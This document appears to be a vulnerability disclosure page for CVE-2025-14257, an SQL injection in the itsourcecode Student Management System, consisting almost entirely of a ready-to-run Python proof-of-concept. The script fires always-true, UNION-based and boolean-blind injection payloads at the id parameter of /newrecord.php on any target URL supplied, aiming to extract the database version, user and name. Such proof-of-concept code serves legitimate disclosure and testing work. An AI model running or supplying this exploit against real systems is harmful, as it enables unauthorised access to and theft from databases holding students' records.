CVE-2025-14257: itsourcecode学生管理系统SQL注入漏洞

import requests import sys # CVE-2025-14257 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # Vulnerable File: /newrecord.php # Parameter: id def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in /newrecord.php Args: target_url: Base URL of the target application payload: SQL injection payload to inject Returns: Response from the server """ params = {'id': payload} try: response = requests.get(f'{target_url}/newrecord.php', params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f'Error: {e}') return None def basic_test(target_url): """Test for basic SQL injection vulnerability""" # Payload: ' OR '1'='1 - makes condition always true payload = "' OR '1'='1" print(f'Testing basic SQL injection with payload: {payload}') result = exploit_sql_injection(target_url, payload) if result: print('Potential vulnerability detected - response received') return result def union_based_injection(target_url): """Attempt UNION-based SQL injection to extract data""" # Try to extract database version and current user payload = "' UNION SELECT 1,version(),user(),database(),'5','6'---" print(f'Testing UNION-based injection with payload: {payload}') result = exploit_sql_injection(target_url, payload) if result and ('version()' in result or any(char.isdigit() for char in result.split())): print('Database information may have been extracted') return result def blind_boolean_injection(target_url): """Test for boolean-based blind SQL injection""" # True condition true_payload = "' AND 1=1---" # False condition false_payload = "' AND 1=2---" true_response = exploit_sql_injection(target_url, true_payload) false_response = exploit_sql_injection(target_url, false_payload) if true_response != false_response: print('Boolean-based blind SQL injection confirmed') return true_response if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-14257.py <target_url>') print('Example: python cve-2025-14257.py http://victim.com') sys.exit(1) target = sys.argv[1] print(f'Targeting: {target}') print('='*50) # Run various tests basic_test(target) union_based_injection(target) blind_boolean_injection(target) print('='*50) print('PoC execution completed')